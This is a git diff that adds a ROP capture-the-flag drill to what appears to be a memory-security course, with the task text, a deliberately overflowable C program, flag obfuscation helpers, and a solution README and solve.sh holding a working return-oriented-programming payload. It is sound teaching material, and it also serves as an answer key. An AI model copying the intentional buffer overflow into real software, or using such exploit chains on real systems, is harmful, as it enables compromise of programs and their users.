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
W6!_Fd!<|CATwj+E+>5e|<^4~+Py!(U

literal 0
HcmV?d00001

diff --git a/chapters/memory-security/ctf/drills/tasks/rop/README.md b/chapters/memory-security/ctf/drills/tasks/rop/README.md
new file mode 100644
index 00000000..bbf7a3d6
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rop/README.md
@@ -0,0 +1,11 @@
+# ROP
+
+`rop/support/rop` is a 64-bit binary with a simple buffer overflow.
+However, it has NX enabled, so normal shellcode will not work.
+Find a way to create a working exploit.
+
+> **TIP:** On x86_64, function arguments are no longer found on the stack but in registers.
+
+If you're having trouble with this exercise, you may use [this](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/rop-chaining-return-oriented-programming).
+Keep in mind that `peda`'s functionality may be a bit different from that of the provided setup, but you should have [this](https://github.com/JonathanSalwan/ROPgadget).
+In `pwndbg`, you can use something like `rop --grep "pop rsi"`.
diff --git a/chapters/memory-security/ctf/drills/tasks/rop/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/rop/solution/Makefile
new file mode 100644
index 00000000..94cfcd14
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rop/solution/Makefile
@@ -0,0 +1,23 @@
+CC = gcc
+CFLAGS = -g -z execstack -fno-PIC -fno-stack-protector -O0
+LDFLAGS = -no-pie
+SRC_DIR = .
+TARGET = rop
+OBJ = rop.o
+
+all: $(TARGET)
+
+obfuscator: $(SRC_DIR)/obfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+deobfuscator: $(SRC_DIR)/deobfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+$(TARGET): $(OBJ)
+	$(CC) $(LDFLAGS) $(OBJ) -o $(TARGET)
+
+$(OBJ): $(SRC_DIR)/rop.c
+	$(CC) $(CFLAGS) -c $(SRC_DIR)/rop.c
+
+clean:
+	rm -rf $(OBJ) $(TARGET) obfuscator deobfuscator
diff --git a/chapters/memory-security/ctf/drills/tasks/rop/solution/README.md b/chapters/memory-security/ctf/drills/tasks/rop/solution/README.md
new file mode 100644
index 00000000..0193c775
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rop/solution/README.md
@@ -0,0 +1,18 @@
+# Solution
+
+Idea: The function that needs to be called is `special_function()` with arguments 6 and 9.
+The binary is a 64-bits ELF, therefore the parameters are no longer taken from the stack - they are taken from registers `esi` and `edi` in this order;
+in order to set these registers, you need to execute 2 gadgets.
+By using commands like `rop --grep "pop rsi"` and `rop --grep "pop rdi"` in `pwndbg`, you will find gadgets `pop rsi; pop r15; ret` and `pop rdi; ret`.
+We first need to overwrite the return address with the address of the first gadget, followed by 2 8-byte values (`rsi` and `r15`, which are not relevant);
+the value of rsi needs to be the value of the second argument;
+these values are followed by the address of the second gadget and the value of rdi - the first argument of the function.
+Finally, we jump to the address of `special_function()`, which you can find by using `gdb` and `print special_function`.
+
+The command below might need to be modified.
+
+```sh
+python3 -c 'import sys; sys.stdout.buffer.write(b"A"*24 + b"\xd1\x08\x40\x00\x00\x00\x00\x00" + b"\x09\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00" + b"\xd3\x08\x40\x00\x00\x00\x00\x00" + b"\x06\x00\x00\x00\x00\x00\x00\x00" + b"\x02\x08\x40\x00\x00\x00\x00\x00")' | ./rop
+```
+
+Note: if you recompile the binary, if an address ends up having `0a` as its least significant byte, you may have to increment it in order to prevent `fgets()` from reading it as a newline character - `\n`.
diff --git a/chapters/memory-security/ctf/drills/tasks/rop/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/rop/solution/deobfuscator.c
new file mode 100644
index 00000000..1bb4796f
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rop/solution/deobfuscator.c
@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#define MAXC 1000
+
+void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len)
+{
+	const char *pos = hex_str;
+	*len = 0;
+
+	int ret;
+
+	while (*pos && *(pos + 1)) {
+		if (*pos == '\\' && *(pos + 1) == 'x') {
+			ret = sscanf(pos + 2, "%2hhx", &bytes[*len]);
+			if (ret != 1)
+				exit(EXIT_FAILURE);
+			(*len)++;
+			pos += 4;
+		} else {
+			pos++;
+		}
+	}
+}
+
+void get_flag(unsigned char *flag, int len)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+	int i = 0, iflag = 0, garbage;
+	unsigned char *res = (unsigned char *) malloc(MAXC);
+
+	while (iflag < len) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts((const char *)res);
+	free(res);
+}
+
+int main(void)
+{
+	char hex_input[MAXC];
+	unsigned char flag[MAXC];
+	int len;
+
+	printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): ");
+	fgets(hex_input, MAXC, stdin);
+
+	hex_to_bytes(hex_input, flag, &len);
+
+	get_flag(flag, len);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/rop/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/rop/solution/obfuscator.c
new file mode 100644
index 00000000..f4583006
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rop/solution/obfuscator.c
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#define MAXC 1000
+
+const int start_offset = 5;
+unsigned int seed = 42;
+
+unsigned char *obfuscate(unsigned char *s)
+{
+	int i = 0;
+	int garbage;
+	unsigned char *res = (unsigned char *) malloc(10 * MAXC);
+
+	while (*s) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--)
+			res[i++] = rand_r(&seed) % 127 + 1;
+		res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1;
+		++i;
+		++s;
+	}
+	res[i] = 0;
+
+	return res;
+}
+
+int main(void)
+{
+	unsigned char s[MAXC];
+
+	scanf("%s", s);
+
+	unsigned char *s_obfuscated = obfuscate(s);
+	unsigned char *p = s_obfuscated;
+
+	while (*p) {
+		printf("\\x%02x", *p);
+		++p;
+	}
+
+	free(s_obfuscated);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/rop/solution/rop.c b/chapters/memory-security/ctf/drills/tasks/rop/solution/rop.c
new file mode 100644
index 00000000..e70cadf1
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rop/solution/rop.c
@@ -0,0 +1,64 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+#define MAXC 1000
+
+static int my_global_var;
+static int my_other_global_var;
+
+void get_flag(void)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+
+	if (my_other_global_var != 0x1234) {
+		printf("You're cheating, mate. Try harder\n");
+		return;
+	}
+	/* Here goes the obfuscated flag outputed by obfuscate.c */
+	char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x6a\x37"
+			 "\x20\x6c\x24\x21\x49\x5c\x08\x45\x41\x30\x3f\x40\x35\x6b\x25\x43"
+			 "\x04\x70\x6d\x7b\x56\x1e\x0a\x11\x08\x61\x07\x64\x3e\x05\x6f\x31"
+			 "\x0b\x43\x07\x1c\x7c\x57\x0a\x52\x37\x5e\x6c\x09\x70\x54\x54\x2e"
+			 "\x2d\x5d\x1a\x46\x2d";
+
+	int i = 0;
+	int iflag = 0;
+	int garbage;
+	char *res = (char *)malloc(MAXC);
+
+	while (flag[iflag]) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts(res);
+}
+
+void special_function(int x, int y)
+{
+	if (x == 6 && y == 9) {
+		my_other_global_var = 0x1234;
+		get_flag();
+	} else {
+		printf("You missed something\n");
+	}
+}
+
+int main(void)
+{
+	char buf[16];
+
+	fgets(buf, 100, stdin);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/rop/solution/solve.sh b/chapters/memory-security/ctf/drills/tasks/rop/solution/solve.sh
new file mode 100755
index 00000000..088801ff
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/rop/solution/solve.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+python3 -c 'import sys; sys.stdout.buffer.write(b"A"*24 + b"\xd1\x08\x40\x00\x00\x00\x00\x00" + b"\x09\x00\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00" + b"\xd3\x08\x40\x00\x00\x00\x00\x00" + b"\x06\x00\x00\x00\x00\x00\x00\x00" + b"\x02\x08\x40\x00\x00\x00\x00\x00")' | ./rop
diff --git a/chapters/memory-security/ctf/drills/tasks/rop/support/rop b/chapters/memory-security/ctf/drills/tasks/rop/support/rop
new file mode 100755
index 0000000000000000000000000000000000000000..8a427119c2f0f13a164dab55503d96f96c9518a5
GIT binary patch
literal 21520
zcmeHP4{%(?dEa-ZC*70e)7i4|KZ4I-7h}+!BpX`>40p26J{e&PTLwG9Je}^Iq>E2?
zH+S!ZL_$L?U^t8tyA6M)0}V4xDa>S2x6{xRIz`3_CX=M&O!LQ0+K!W&R8DAdlaM$-
zP=DXP-TU+OE@d*)b{Mp_-nZXxzwg`KZ}+{oySMv373tmKQWPeGi`~qKn^r>{vaXEv
z-O5>kbuo>F*j4OGRu7~Oe<7Yi)QU-ZNtl+@Bjntmq}S!LfG$^vM<l)6f|;bUghW-5
zW|5HKEb3{pSV<Z4bAa@ytjx<<&;ctV=uM&=2LzRR#FCy*==p@aq-R9IB$f4}y3t?1
zu-ESjfg?Udgl*^7G9_6GeXpAdia)Ax7Bs{olJ;6KlT_;64n1B!k^VmspAgt9@~h<+
zCjB9(s4fepl7pKz22+W)R5D!{ZyWF0)V673AfE|z@_LhflHIv`KhKHUTbiOWFUB8X
zl>Y0_-P!U7fBE{$|M^0)`yWsJ{+?vpW2;G)Tu^E^=4bbVr$G4d{+O%+$LyCV0KXjs
zPu*jY15W+S3143WzpMtH0Pe@1JzNFA$$lQV-!2TEDz}g=V<F!FPnG?O!S8W$^Cp%p
zn0b~r6Uj6i8a5Em#nK5q$3|nRR3^@JokaD#8OxdaXbe(2dwaUK>79Yj!1YY;>Ay`+
z7&&7&nKzAG|83h+nY7U#8%!C{93IW2g{E$aItrp>3R>0rM=|=df`Yh$sBEOdiX@uN
z#cmSm=UN7MjQT9e$uLua%f3x%7c20}etxL}FZl@a(r@&v5VsPUVatR+8xWUeCEQ<u
zQ@@m9T?JnG+-a}C$(9U1Z@J>_=;Rxo=u!1}qn|||oHkvvXQGo|@too!v)BJ2;MujG
z#kFNs2r=SEDDA?zS%kHZ5Kk_-aE9|oh^L}nnCASw#8VM3oB&Vxb^J$9@mqICi$97^
zp1;`F-*bBUoF~Mhr%z@%Iei1j?2@-NKl{Zol0P*RXj%0DEHHK~I<<8R3`VEaP9j?_
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
